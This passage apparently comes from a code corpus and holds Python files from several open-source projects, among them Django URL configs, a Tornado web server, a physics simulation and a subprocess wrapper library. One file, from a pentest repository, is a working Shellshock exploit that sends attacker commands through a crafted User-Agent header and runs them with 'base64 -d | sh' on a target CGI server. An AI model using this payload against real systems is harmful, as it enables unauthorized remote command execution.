__mul__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Faktor angeben')\n return\t\t\t\n return gleichung(other * self.lhs, other * self.rhs)\n\t\t\n def __rmul__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Faktor angeben')\n return\t\t\t\n return gleichung(other * self.lhs, other * self.rhs)\n\n def __truediv__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert angeben')\n return\t\t\t\n return gleichung(self.lhs / other, self.rhs / other)\n\t\t\n def __add__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Summand angeben')\n return\t\t\t\n return gleichung(other + self.lhs, other + self.rhs)\n\n def __radd__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Summand angeben')\n return\t\t\t\n return gleichung(other + self.lhs, other + self.rhs)\n\n def __neg__(self):\n return gleichung(-self.lhs, -self.rhs)\n\n def __pow__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Exponent angeben')\n return\t\t\t\n return gleichung(self.lhs**other, self.rhs**other)\n\n def __sub__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert angeben')\n return\t\t\t\n return gleichung(self.lhs - other, self.rhs - other)\n\n\t\t\n\t\t\t\n", "source": "HBOMAT/AglaUndZufall", "license": "Apache-2.0"} {"text": "# This technical data was produced for the U. S. Government under Contract No. W15P7T-13-C-F600, and\n# is subject to the Rights in Technical Data-Noncommercial Items clause at DFARS 252.227-7013 (FEB 2012)\n\nfrom geoevents.core.models import Setting\nimport json\n\n\ndef app_settings(request):\n \"\"\"Global values to pass to templates\"\"\"\n settings_dict = dict()\n settings = list()\n for obj in Setting.objects.all():\n settings_dict[obj.name.upper()] = obj.value\n settings += [\n {\n 'name': obj.name,\n 'value': obj.value\n }\n ]\n settings_dict['settings'] = json.dumps(settings)\n return dict(settings_dict)", "source": "mcenirm/geoevents", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\nimport urwid\n\nfrom blinker import signal\n\nfrom plait.app.base import PlaitApp\nfrom plait.frame import ConsoleFrame\nfrom plait.tabs import VerticalTabs\n\nclass WorkerLog(urwid.ListBox):\n def __init__(self):\n walker = urwid.SimpleListWalker([])\n urwid.ListBox.__init__(self, walker)\n\n def write(self, text):\n if text != \"\\n\" and isinstance(text, basestring):\n text = text.replace(\"\\n\", \"\")\n new_text = urwid.Text(text)\n self.body.append(new_text)\n try:\n self.body.set_focus(self.body.focus + 1)\n except: pass\n\n def add(self, content):\n self.body.append(urwid.Text(content))\n try:\n self.body.set_focus(self.body.focus + 1)\n except: pass\n\nclass ConsoleApp(PlaitApp):\n\n default_palette = (\n ('reversed', 'standout', ''),\n )\n\n def __init__(self, title=\"plait\"):\n self.tabs = VerticalTabs()\n self.root = ConsoleFrame(title)\n self.screen = urwid.raw_display.Screen(input=open('/dev/tty', 'r'))\n self.loop = urwid.MainLoop(\n self.root, self.default_palette,\n screen=self.screen,\n handle_mouse=False, unhandled_input=self.unhandled_input,\n event_loop=urwid.TwistedEventLoop())\n self.loop.screen.set_terminal_properties(colors=256)\n self.show(self.tabs, \"Remote task hosts\")\n self.failed_workers = []\n super(ConsoleApp, self).__init__()\n\n def run(self, runner):\n runner.run()\n for host in runner.hosts:\n self.tabs.addTab(host, WorkerLog())\n self.loop.run()\n\n def stop(self):\n raise urwid.ExitMainLoop\n\n def unhandled_input(self, key):\n if key.lower() == 'q':\n self.stop()\n self.loop.draw_screen()\n return key\n\n def show(self, w, header_text=\"\"):\n self.root.show(w, header_text=header_text)\n\n def on_worker_stdout(self, worker, data=None):\n tab = self.tabs.tabs[worker.label]\n for line in data.split(\"\\n\"):\n tab.content.write(line)\n self.loop.draw_screen()\n\n def on_worker_stderr(self, worker, data=None):\n tab = self.tabs.tabs[worker.label]\n tab.content.write(data)\n self.loop.draw_screen()\n\n def on_worker_connect(self, worker):\n tab = self.tabs.tabs[worker.label]\n tab.set_cyan()\n self.loop.draw_screen()\n\n def on_worker_finish(self, worker):\n tab = self.tabs.tabs[worker.label]\n if worker not in self.failed_workers:\n tab.set_green()\n self.loop.draw_screen()\n\n def on_worker_failure(self, worker, failure=None):\n if worker.label not in self.tabs.tabs:\n worker.label = \"localhost\"\n tab = self.tabs.tabs[worker.label]\n tab.content.write(repr(failure))\n tab.set_red()\n self.failed_workers.append(worker)\n self.loop.draw_screen()\n\n def on_task_start(self, worker, task=None):\n tab = self.tabs.tabs[worker.label]\n task_template = u\"\u21aa {task.tag}\".format(task=task).encode('utf8')\n task_header = ('reversed', task_template)\n tab.content.write(task_header)\n self.loop.draw_screen()\n\n def on_task_failure(self, worker, task=None, failure=None):\n tab = self.tabs.tabs[worker.label]\n tab.content.write(str(failure))\n tab.set_orange()\n self.failed_workers.append(worker)\n self.loop.draw_screen()\n\n def on_task_finish(self, worker, task=None, result=None):\n if result:\n tab = self.tabs.tabs[worker.label]\n tab.content.write(str(result))\n self.loop.draw_screen()\n\n", "source": "dustinlacewell/plait", "license": "MIT"} {"text": "from molecules.dna_sequence import DNASequence\n\n\nclass Primer:\n \"\"\"\n Represent a Primer DNA Sequence which can be attached to DNA sequence in order to mark specific\n segment in the DNA sequence.\n \"\"\"\n\n def __init__(self, searched_sequence):\n \"\"\"\n Initialize Primer sequence.\n\n :param searched_sequence: DNA Sequence to search.\n \"\"\"\n self.__searched_sequence = searched_sequence\n\n @property\n def searched_sequence(self):\n return self.__searched_sequence\n\n def try_attach_to_dna_sequence(self, dna_sequence):\n \"\"\"\n Try attach to a given DNA Sequence.\n\n :param dna_sequence: DNA Sequence to try attach to.\n :return: The index in the DNA Sequence where the attachment occurred, Otherwise None.\n \"\"\"\n if not isinstance(dna_sequence, DNASequence):\n raise ValueError('DNA Sequence given is not instance of DNASequence.')\n\n # Mark if attachment point found\n found_attachment_point = False\n\n # Search the complement sequence of the search sequence in the DNA sequence\n complement_search_sequence = [DNASequence.complement_table.get(base) for base in self.__searched_sequence]\n\n # Current index navigated\n current_index = 0\n\n # Iterate all sub sequences in the DNA sequence to find the complement sequence of the searched sequence\n while current_index <= dna_sequence.length - len(self.__searched_sequence):\n\n # If the complement sequence of the search sequence is found, break and return the index\n if dna_sequence.bases[current_index: current_index + len(self.__searched_sequence)] ==\\\n complement_search_sequence:\n found_attachment_point = True\n break\n\n current_index += 1\n\n # If found attachment point, return it\n if found_attachment_point:\n return current_index\n\n return None\n\n def __eq__(self, other):\n \"\"\"\n Equality checking of 2 Primers.\n\n :param other: Primer object.\n :return: True if both Primers represents the same search sequence, Otherwise False.\n \"\"\"\n return isinstance(other, self.__class__) and self.searched_sequence == other.searched_sequence\n", "source": "shakedmanes/molecular-computation", "license": "MIT"} {"text": "from django.conf.urls import url\nfrom django.contrib.auth.decorators import login_required\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.utilities_index, name='index'),\n url(r'^gc_ms$', views.gcms_home, name='gc_ms_home'),\n url(r'^gc_ms/parse$', views.gcms_parse, name='parse_gc_ms'),\n url(r'^gc_ms/merge$', views.gcms_merge, name='merge_gc_ms'),\n url(r'^gc_ms/export$', views.gcms_export, name='export_gc_ms'),\n url(r'^proteomics$', views.skyline_home, name='proteomics_home'),\n url(r'^proteomics/parse$', views.skyline_parse, name='parse_skyline'),\n url(r'^cytometry/$', login_required(views.cytometry_home), name='cytometry_home'),\n url(r'^cytometry/parse/$', login_required(views.cytometry_parse), name=\"cytometry_parse\"),\n url(r'^cytometry/import/$', login_required(views.cytometry_import), name=\"cytometry_import\"),\n]\n", "source": "TeselaGen/jbei-edd", "license": "BSD-3-Clause-LBNL"} {"text": "\"\"\"Enforce adding a pip install statement in the notebook.\n\nIn the `compwa-org repo _`, notebooks\nshould specify which package versions should be used to run the notebook. This\nhook checks whether a notebook has such install statements and whether they\ncomply with the expected formatting.\n\"\"\"\n\nimport argparse\nimport sys\nfrom typing import List, Optional, Sequence\n\nimport nbformat\n\nfrom .errors import PrecommitError\n\n__PIP_INSTALL_STATEMENT = \"%pip install -q \"\n\n\ndef check_pinned_requirements(filename: str) -> None:\n notebook = nbformat.read(filename, as_version=nbformat.NO_CONVERT)\n for cell in notebook[\"cells\"]:\n if cell[\"cell_type\"] != \"code\":\n continue\n source: str = cell[\"source\"]\n src_lines = source.split(\"\\n\")\n if len(src_lines) == 0:\n continue\n src_lines = list(map(lambda s: s.strip(\"\\\\\"), src_lines))\n cell_content = \"\".join(src_lines)\n if not cell_content.startswith(__PIP_INSTALL_STATEMENT):\n continue\n __check_install_statement(filename, cell_content)\n __check_requirements(filename, cell_content)\n __check_metadata(filename, cell[\"metadata\"])\n return\n raise PrecommitError(\n f'Notebook \"{filename}\" does not contain a pip install cell of the'\n f\" form {__PIP_INSTALL_STATEMENT}some-package==0.1.0 package2==3.2\"\n )\n\n\ndef __check_install_statement(filename: str, install_statement: str) -> None:\n if not install_statement.startswith(__PIP_INSTALL_STATEMENT):\n raise PrecommitError(\n f\"First shell cell in notebook {filename} does not start with\"\n f\" {__PIP_INSTALL_STATEMENT}\"\n )\n if install_statement.endswith(\"/dev/null\"):\n raise PrecommitError(\n \"Remove the /dev/null from the pip install statement in notebook\"\n f\" {filename}\"\n )\n\n\ndef __check_requirements( # noqa: R701\n filename: str, install_statement: str\n) -> None:\n package_listing = install_statement.replace(__PIP_INSTALL_STATEMENT, \"\")\n requirements = package_listing.split(\" \")\n if len(requirements) == 0:\n raise PrecommitError(\n f'At least one dependency required in install cell of \"{filename}\"'\n )\n for requirement in requirements:\n requirement = requirement.strip()\n if not requirement:\n continue\n if requirement.startswith(\"git+\"):\n continue\n if \"==\" not in requirement:\n raise PrecommitError(\n f'Install cell in notebook \"{filename}\" contains a'\n f\" requirement without == ({requirement})\"\n )\n requirements_lower = [\n r.lower() for r in requirements if not r.startswith(\"git+\")\n ]\n if sorted(requirements_lower) != requirements_lower:\n sorted_requirements = \" \".join(sorted(requirements))\n raise PrecommitError(\n f'Requirements in notebook \"{filename}\"'\n \" are not sorted alphabetically. Should be:\\n\\n \"\n f\" {sorted_requirements}\"\n )\n\n\ndef __check_metadata(filename: str, metadata: dict) -> None:\n source_hidden = metadata.get(\"jupyter\", {}).get(\"source_hidden\")\n if not source_hidden:\n raise PrecommitError(\n f'Install cell in notebook \"{filename}\" is not hidden'\n )\n tags = metadata.get(\"tags\")\n expected_tag = \"hide-cell\"\n if tags is None or expected_tag not in tags:\n raise PrecommitError(\n f'Install cell in notebook \"{filename}\" should have tag'\n f' \"{expected_tag}\"'\n )\n if \"remove-cell\" in tags:\n raise PrecommitError(\n f'Install cell in notebook \"{filename}\" has tag \"remove-cell\"'\n )\n\n\ndef main(argv: Optional[Sequence[str]] = None) -> int:\n parser = argparse.ArgumentParser(__doc__)\n parser.add_argument(\"filenames\", nargs=\"*\", help=\"Filenames to check.\")\n args = parser.parse_args(argv)\n\n errors: List[PrecommitError] = []\n for filename in args.filenames:\n try:\n check_pinned_requirements(filename)\n except PrecommitError as exception:\n errors.append(exception)\n if errors:\n for error in errors:\n error_msg = \"\\n \".join(error.args)\n print(error_msg)\n return 1\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n", "source": "ComPWA/repo-maintenance", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport os\nimport regex as re\n\nfontmap_directory = os.path.dirname(__file__) + '/fontmaps/'\nfontmaps = {}\n\nfor font in ['JG_Pahawh_Third_Version', 'JG_Pahawh_Final_Version']:\n fontmaps['{}.ttf'.format(font)] = json.load(open(fontmap_directory + '{}.json'.format(font)))\n\ndef _decode_Myanmar1(string):\n string = string.replace('\\u1039\\u101a', '\\u103b')\n string = string.replace('\\u1039\\u101b', '\\u103c')\n string = string.replace('\\u1039\\u101d', '\\u103d')\n string = string.replace('\\u1039\\u101f', '\\u103e')\n string = re.sub(r'\\u1004\\u1039([\\u1000-\\u1021\\u1025])', '\\u1004\\u103a\\u1039\\g<1>', string)\n string = string.replace('\\u101e\\u1039\\u101e', '\\u103f')\n string = re.sub(r'([\\u1036-\\u1038])(\\u1039)', '\\g<2>\\g<1>', string)\n string = re.sub(r'\\u1039(?![\\u1000-\\u1003\\u1005-\\u1008\\u100b\\u100c\\u100f-\\u1019\\u101c])', '\\u103a', string)\n string = re.sub(r'([\\u1001\\u1002\\u1004\\u1012\\u1015\\u101d])\\u102c', '\\g<1>\\u102b', string)\n string = re.sub(r'([\\u102f\\u1030])([\\u102d\\u102e\\u1032])', '\\g<2>\\g<1>', string)\n string = re.sub(r'(\\u1036)(\\u1037)', '\\g<2>\\g<1>', string)\n string = re.sub(r'[\\u200c\\u200d]', '', string)\n return string\n\ndef decode(string, font):\n if font == 'Myanmar1.ttf': return _decode_Myanmar1(string)\n output = ''\n for c in string:\n try:\n for char in fontmaps[font][hex(ord(c))].split():\n output += (chr(int(char, 16)))\n except KeyError:\n output += c\n return output\n\n", "source": "longnow/panlex-tools", "license": "MIT"} {"text": "#!/usr/bin/python\n\n# python shellshock_shell.py 192.168.56.1\n# $ id\n# uid=48(apache) gid=48(apache) groups=48(apache)\n# $ pwd\n# /var/www/cgi-bin\n\nimport requests, sys\nfrom base64 import b64encode\n\nvictim_ip = sys.argv[1]\n\nwhile True:\n command = b64encode(raw_input('$ ').strip())\n headers = {\n 'User-Agent': '() { :; }; echo \\'Content-type: text/html\\'; echo; export PATH=$PATH:/usr/bin:/bin:/sbin; echo \\'%s\\' | base64 -d | sh 2>&1' % command\n }\n\n print requests.get('http://victim_ip/cgi-bin/cat', headers=headers).text.strip()", "source": "galletitaoreo/PythonPentest", "license": "MIT"} {"text": "# -*- coding: UTF-8 -*-\nfrom visual import*\n'''\n----\n To achieve great things, two things are needed;\n a plan, and not quite enough time. -- Leonard Bernstein\n----\n\nAlgorithm:\n1. initialize:\n class wall: generate 1 piece of wall, capable of moving\n also good for calculating pressure and force etc.\n\n2. on update:\n delete balls which are out of range\n add N balls according to flow rate\n\n get balls bounced off by the wall\n get balls bounced by one another\n change their speed\n update position of the ball according to speed\n\n calculate force by (momentum changed)/(time passed)\n'''\n\nclass Wall(): # A piece of wall, makes up class Container\n\n def __init__(self, wall_list, v=vector(0,0,0)):\n self.wall_list = vectorfy(wall_list)\n self.visual = curve(pos=wall_list)\n self.v = vector(v)\n self.stored_momentum = vector((0, 0, 0))\n\n def update_pos(self, dt):\n for point in self.wall_list:\n point[0] += self.v[0] * dt\n point[1] += self.v[1] * dt\n self.visual.pos = self.wall_list\n\n def get_force(self, passed_time):\n re = self.stored_momentum / passed_time\n self.stored_momentum = vector((0, 0, 0))\n return re\n\n\ndef dist(x1, y1, x2, y2):\n return sqrt((x1 - x2)**2 + (y1 - y2)**2)\n\n\ndef reflect(w, v, w_v): # ball hit wall\n '''\n w,v must be list/array/vector with 2 numbers\n '''\n w, v, w_v = vector(w), vector(v), vector(w_v)\n v = v - w_v # \u76f8\u5c0d\u901f\u5ea6\n f = vector(-w[1], w[0], 0) # \u6cd5\u5411\u91cf\n unit_f = f / abs(f) # \u6cd5\u5411\u91cf\u7684\u55ae\u4f4d\u5411\u91cf\n re = v + abs(dot(v, f) / abs(f)) * unit_f * 2\n\n if abs(abs(re) - abs(v)) <= 0.00001 * abs(v): # small number to fix floating point stuff\n if dot(v, f) < 0:\n return re + w_v\n else:\n #print('!!!wrong side!!!')\n return v\n else:\n #print(\"back hit\")\n w = -w\n f = vector(-w[1], w[0], 0) # \u6cd5\u5411\u91cf\n unit_f = f / abs(f) # \u6cd5\u5411\u91cf\u7684\u55ae\u4f4d\u5411\u91cf\n if dot(v, f) < 0:\n re = v + abs(dot(v, f) / abs(f)) * unit_f * 2\n return re + w_v\n else:\n #print('!!!!!!!!!!!!!!!!false hit!!!!!!!!!!!!!!!')\n return v\n\n\ndef checkhit(w1, w2, b, r):\n wx1, wy1 = w1[0], w1[1]\n wx2, wy2 = w2[0], w2[1]\n bx, by = b[0], b[1]\n area = 0.5 * abs(wx1 * wy2 + wx2 * by + bx * wy1 -\n wy1 * wx2 - wy2 * bx - by * wx1)\n wall = sqrt((wx1 - wx2)**2 + (wy1 - wy2)**2)\n # (2*area/wall)<=r : distance to wall <= radius\n # (dist(bx,by,wx1,wy1)<=r or dist(bx,by,wx2,wy2)<=r) : hit edge\n # and not(dist(bx,by,wx1,wy1)>wall or dist(bx,by,wx2,wy2)>wall) : make\n # sure hit in the middle, not outside\n if ((2 * area / wall) <= r or (dist(bx, by, wx1, wy1) <= r or dist(bx, by, wx2, wy2) <= r)) and not(dist(bx, by, wx1, wy1) > wall or dist(bx, by, wx2, wy2) > wall):\n return True\n else:\n return False\n\n\ndef vcollision(a1p, a2p, a1v, a2v): # ball hit ball\n v1prime = a1v - (a1p - a2p) * sum((a1v - a2v) *\n (a1p - a2p)) / sum((a1p - a2p)**2)\n v2prime = a2v - (a2p - a1p) * sum((a2v - a1v) *\n (a2p - a1p)) / sum((a2p - a1p)**2)\n return v1prime, v2prime\n\n\ndef vectorfy(points):\n for i in range(len(points)):\n points[i] = vector(points[i])\n return points\n", "source": "ChenKB91/BouncyBall", "license": "MIT"} {"text": "\"\"\"Test app with multiple hierarchy levels above the actual models.py file\"\"\"\n", "source": "nakarinh14/django-haystack", "license": "BSD-3-Clause"} {"text": "from django.conf.urls import url\r\nfrom . import views\r\n\r\nurlpatterns = [\r\nurl(r'^weather$', views.setWeather, name='setWeather'),\r\nurl(r'^getRecords$', views.serviceRecord, name='getRecords'),\r\nurl(r'^statistics$', views.statistics, name='statistics'),\r\n]", "source": "CriminalProject/Project2", "license": "Unlicense"} {"text": "from PyQt5.Qt import QDialog\n\nfrom ..ui import UiDialogCombo\n\n\nclass DialogCombo(QDialog, UiDialogCombo):\n def __init__(self, parent, title, content, selections):\n QDialog.__init__(self, parent)\n self.title = title\n self.content = content\n self.selections = selections\n\n self.setupUi(self)\n self.setFixedSize(self.width(), self.height())\n self._init()\n\n def _init(self):\n self._init_dialog()\n self._init_content()\n self._init_selections()\n\n def _init_dialog(self):\n self.setWindowTitle(self.title)\n\n def _init_content(self):\n self.label_content.setWordWrap(True)\n self.label_content.setText(self.content)\n\n new_height = self.label_content.sizeHint().height()\n hdelta = new_height - self.label_content.height()\n\n self.label_content.setFixedHeight(new_height)\n self.combo_selection.setGeometry(\n self.combo_selection.x(), self.combo_selection.y() + hdelta,\n self.combo_selection.width(), self.combo_selection.height(),\n )\n self.button_next.setGeometry(\n self.button_next.x(), self.button_next.y() + hdelta,\n self.button_next.width(), self.button_next.height(),\n )\n self.setFixedHeight(self.height() + hdelta)\n\n def _init_selections(self):\n self.combo_selection.clear()\n for item in self.selections:\n self.combo_selection.addItem(item)\n\n self.combo_selection.setCurrentIndex(0)\n\n def selected(self) -> str:\n index = self.combo_selection.currentIndex()\n return self.combo_selection.itemText(index)\n\n @classmethod\n def get_selection(cls, parent, title, content, selections):\n dialog = cls(parent, title, content, selections)\n if dialog.exec() == QDialog.Accepted:\n return dialog.selected(), True\n else:\n return None, False\n", "source": "HansBug/dgdvapp", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nSciPlot-PyQt: Publication-ready scientific plotting for Python\n==============================================================\n\nSciPlot-PyQt (aka SciPlot) is a user-interface/matplotlib wrapper built with \nPyQt5 that allows interactive plotting through an embedded matplotlib canvas. \nIt enables fast and easy publication-ready plots and images:\n \n * Interactive plotting\n * Theme and style editing (TODO)\n * Figure saving and opening for later editing (TODO)\n \nSupported Plot Types\n---------------------\nLine plots : plot\n\nBar plots : bar, hist\n\nPolycollections : fill_between\n\nImages : imshow\n\"\"\"\n\nimport sys as _sys\nimport os as _os\nimport pkg_resources as _pkg_resources\n\nfrom . import sciplotUI\n\n_sys.path.append(_os.path.abspath('../'))\n\ntry:\n __version__ = _pkg_resources.require(\"sciplot-pyqt\")[0].version\nexcept:\n pass\n \n# __version__ = '0.2.2'\n\n# __all__ = ['SciPlotUI']\n\n# from .sciplotUI import SciPlotUI as main\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "import locale\nlocale.setlocale(locale.LC_ALL, \"en_US.UTF-8\")\n\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.web\nimport os\nimport tornado.options\nimport json\nimport ipaddress\nimport functools\nimport subprocess\nimport user_agents\nfrom collections import namedtuple\n\nimport models\nimport dispatch\nimport endpoints\nimport api_endpoints\nimport enums\nimport starlight\nimport analytics\nimport webutil\nfrom starlight import private_data_path\n\ndef early_init():\n os.chdir(os.path.dirname(os.path.realpath(__file__)))\n\n if not os.environ.get(\"DISABLE_HTTPS_ENFORCEMENT\", \"\") and not os.environ.get(\"DEV\", \"\"):\n # production mode: force https usage due to local storage issues\n # also we don't want the NSA knowing you play chinese cartoon games\n def _swizzle_RequestHandler_prepare(self):\n if self.request.protocol != \"https\":\n self.redirect(\n \"https://{0}{1}\".format(self.request.host, self.request.uri))\n tornado.web.RequestHandler.prepare = _swizzle_RequestHandler_prepare\n\n if os.environ.get(\"BEHIND_CLOUDFLARE\") == \"1\":\n cloudflare_ranges = []\n\n with open(\"cloudflare.txt\", \"r\") as cf:\n for line in cf:\n cloudflare_ranges.append(ipaddress.ip_network(line.strip()))\n\n _super_RequestHandler_prepare2 = tornado.web.RequestHandler.prepare\n\n def _swizzle_RequestHandler_prepare2(self):\n for net in cloudflare_ranges:\n if ipaddress.ip_address(self.request.remote_ip) in net:\n if \"CF-Connecting-IP\" in self.request.headers:\n self.request.remote_ip = self.request.headers[\n \"CF-Connecting-IP\"]\n break\n _super_RequestHandler_prepare2(self)\n\n tornado.web.RequestHandler.prepare = _swizzle_RequestHandler_prepare2\n\n _super_RequestHandler_prepare3 = tornado.web.RequestHandler.prepare\n def _swizzle_RequestHandler_prepare3(self):\n self.request.is_low_bandwidth = 0\n if \"User-Agent\" in self.request.headers:\n ua = user_agents.parse(self.request.headers[\"User-Agent\"])\n if ua.is_mobile or ua.is_tablet:\n self.request.is_low_bandwidth = 1\n\n _super_RequestHandler_prepare3(self)\n tornado.web.RequestHandler.prepare = _swizzle_RequestHandler_prepare3\n\ndef main():\n starlight.init()\n early_init()\n in_dev_mode = os.environ.get(\"DEV\")\n image_server = os.environ.get(\"IMAGE_HOST\", \"\")\n tornado.options.parse_command_line()\n application = tornado.web.Application(dispatch.ROUTES,\n template_path=\"webui\",\n static_path=\"static\",\n image_host=image_server,\n debug=in_dev_mode,\n is_dev=in_dev_mode,\n\n tle=models.TranslationEngine(starlight),\n enums=enums,\n starlight=starlight,\n tlable=webutil.tlable,\n webutil=webutil,\n analytics=analytics.Analytics(),\n # Change every etag when the server restarts, in case we change what the output looks like.\n instance_random=os.urandom(8))\n http_server = tornado.httpserver.HTTPServer(application, xheaders=1)\n\n addr = os.environ.get(\"ADDRESS\", \"0.0.0.0\")\n port = int(os.environ.get(\"PORT\", 5000))\n\n http_server.listen(port, addr)\n print(\"Current APP_VER:\", os.environ.get(\"VC_APP_VER\",\n \"1.9.1 (warning: Truth updates will fail in the future if an accurate VC_APP_VER \"\n \"is not set. Export VC_APP_VER to suppress this warning.)\"))\n print(\"Ready.\")\n tornado.ioloop.IOLoop.current().start()\n\nif __name__ == \"__main__\":\n main()\n", "source": "summertriangle-dev/sparklebox", "license": "Unlicense"} {"text": "import sys\n\nimport click\n\nfrom api.google import GoogleTranslator\nfrom api.weblio import WeblioTranslator\n\n\n_translators = {\n 'google': GoogleTranslator,\n 'weblio': WeblioTranslator,\n}\n\n\n@click.command()\n@click.option('--text')\n@click.option('--from', 'source')\n@click.option('--to', 'target')\n@click.option('--api', default='weblio')\ndef main(text, source, target, api):\n if api not in _translators:\n print('Error: API \"%s\" is not supported.' % api)\n sys.exit(1)\n print(_translators[api]().translate(text, source, target))\n\n\nif __name__ == '__main__':\n main()\n\n\n# EOF\n", "source": "gitcrtn/translate", "license": "MIT"} {"text": "# Copyright 2018 Jan Verbeek \n#\n# Permission to use, copy, modify, and distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n\"\"\"A wrapper around subprocess for simple function-like process calling.\n\nThe main access point is the mocksh.sh object.\n\nExamples:\n >>> from mocksh import sh\n >>> sh.echo(\"Hello, world\")\n Hello, world\n \n >>> str(sh.echo.capture_(\"Hello, world\"))\n 'Hello, world\\n'\n >>> list(sh.seq.capture_(3))\n ['1', '2', '3']\n >>> sh.fortune.pipe_().cowsay()\n ______________________________________\n / Are you making all this up as you go \\\n \\ along? /\n --------------------------------------\n \\ ^__^\n \\ (oo)\\_______\n (__)\\ )\\/\\\n ||----w |\n || ||\n | cowsay>\n\nFor more, see README.rst.\n\"\"\"\n\nimport errno\nimport os\nimport signal\nimport sys\n\ntry:\n from time import monotonic as _time # type: ignore\nexcept ImportError:\n from time import time as _time\n\nimport subprocess\nfrom subprocess import PIPE, STDOUT\nif sys.version_info >= (3, 3):\n from subprocess import DEVNULL\n\nPY3 = sys.version_info >= (3,)\n\nMYPY = False\nif MYPY:\n from types import TracebackType # noqa: F401\n from typing import (Any, Dict, IO, Iterator, List, Mapping, # noqa: F401\n NoReturn, Optional, Sequence, Text,\n TextIO, Tuple, Type, Union)\n if sys.version_info >= (3, 6):\n StrTypes = Union[Text, bytes, os.PathLike]\n else:\n StrTypes = Union[Text, bytes]\n\n if PY3:\n StreamType = TextIO\n else:\n StreamType = IO[str]\n\n__all__ = ['CommandError', 'Process', 'Command', 'sh', 'PIPE', 'STDOUT',\n 'DEVNULL']\n\n_STR_TYPES = (str, bytes) # type: Tuple[Type, ...]\nif not PY3:\n _STR_TYPES = (str, unicode) # noqa: F821\nelif sys.version_info >= (3, 6):\n _STR_TYPES = (str, bytes, os.PathLike)\n\n\ndef _to_strlike(obj):\n # type: (Any) -> StrTypes\n \"\"\"Convert an object to a string-like type.\"\"\"\n if isinstance(obj, _STR_TYPES):\n # Object is already suitable for subprocess\n return obj # type: ignore\n # Only convert objects that have an explicit string representation\n # e.g. ints are fine, tuples are not\n # Implicitly converting to bytes is not a good idea, argv can't even\n # contain null bytes\n if getattr(type(obj), '__str__', object.__str__) is object.__str__:\n # Note: this doesn't work on PyPy 2, but it doesn't break anything\n raise TypeError(\"Object of type '{}' can't be converted to string\"\n .format(type(obj).__name__))\n return str(obj)\n\n\ndef _parse(args, opts):\n # type: (Sequence[Any], Mapping[str, Any]) -> Iterator[StrTypes]\n \"\"\"Convert Python function arguments to GNU getopt-style command arguments.\n\n opts are converted using the following procedure:\n - Underscores in keys are replaced by dashes, because dashes are common\n in options but not supported by Python.\n - If a key does not start with a dash, dashes are prepended based on the\n key's length.\n - A single character is assumed to be a short option, and gets one dash.\n - Other keys are assumed to be long options, and get two dashes.\n - If the value is the False object, the option is discarded.\n - If the value is the True object, only the key is yielded.\n - Otherwise, the key is yielded first, and then the value, converted to a\n string unless it's a bytes object.\n\n args (that are not bytes) are converted to strings and yielded otherwise\n unchanged.\n\n >>> list(_parse(['foo', b'bar'], dict(x=True, y=False, baz=23)))\n ['-x', '--baz', '23', 'foo', b'bar']\n\n Args:\n args: A sequence of positional arguments, like *args.\n opts: A dictionary of keyword arguments, like **kwargs.\n\n Yields:\n strings or bytes that can be used as command arguments.\n \"\"\"\n for key, value in opts.items():\n\n key = key.replace('_', '-')\n if not key.startswith('-'):\n if len(key) == 1:\n key = '-' + key\n else:\n key = '--' + key\n\n if value is False:\n continue\n\n if value is True:\n yield key\n continue\n\n yield key\n yield _to_strlike(value)\n\n for arg in args:\n yield _to_strlike(arg)\n\n\ndef _is_reserved(name):\n # type: (str) -> bool\n \"\"\"Return whether a name is reserved by mocksh (or Python itself).\"\"\"\n return name.endswith('_') and len(name) > 2\n\n\nif sys.version_info >= (3, 5):\n _SIGNAL_CODES = {\n signal.name: -signal for signal in signal.Signals\n } # type: Dict[str, int]\nelse:\n _SIGNAL_CODES = {\n name: -getattr(signal, name) for name in dir(signal)\n if name.startswith('SIG') and '_' not in name\n } # type: Dict[str, int]\n\n_SIGNAL_NAMES = {\n value: name for name, value in _SIGNAL_CODES.items()\n} # type: Dict[int, str]\n\n\nclass CommandError(Exception):\n \"\"\"Raised when a command fails.\n\n This class is automatically subclassed for different return codes.\n \"except CommandError:\" works, but more specific handling can be done\n with e.g. \"except CommandError.code(10)\".\n \"\"\"\n _subclasses = {} # type: Dict[int, Type[CommandError]]\n returncode = None\n\n def __new__(cls, returncode, process):\n # type: (Type[CommandError], int, Process) -> CommandError\n subclass = CommandError.code(returncode)\n return super(CommandError, cls).__new__(subclass) # type: ignore\n\n def __init__(self, returncode, process):\n # type: (int, Process) -> None\n super(CommandError, self).__init__(returncode, process)\n self.returncode = returncode\n self.process = process\n\n def __str__(self):\n # type: () -> str\n if isinstance(self.process.args, _STR_TYPES):\n command = self.process.args\n else:\n command = ' '.join(str(arg) for arg in self.process.args)\n if self.returncode in _SIGNAL_NAMES:\n cause = _SIGNAL_NAMES[self.returncode]\n else:\n cause = \"status code {}\".format(self.returncode)\n return \"Command '{}' failed with {}\".format(command, cause)\n\n @classmethod\n def 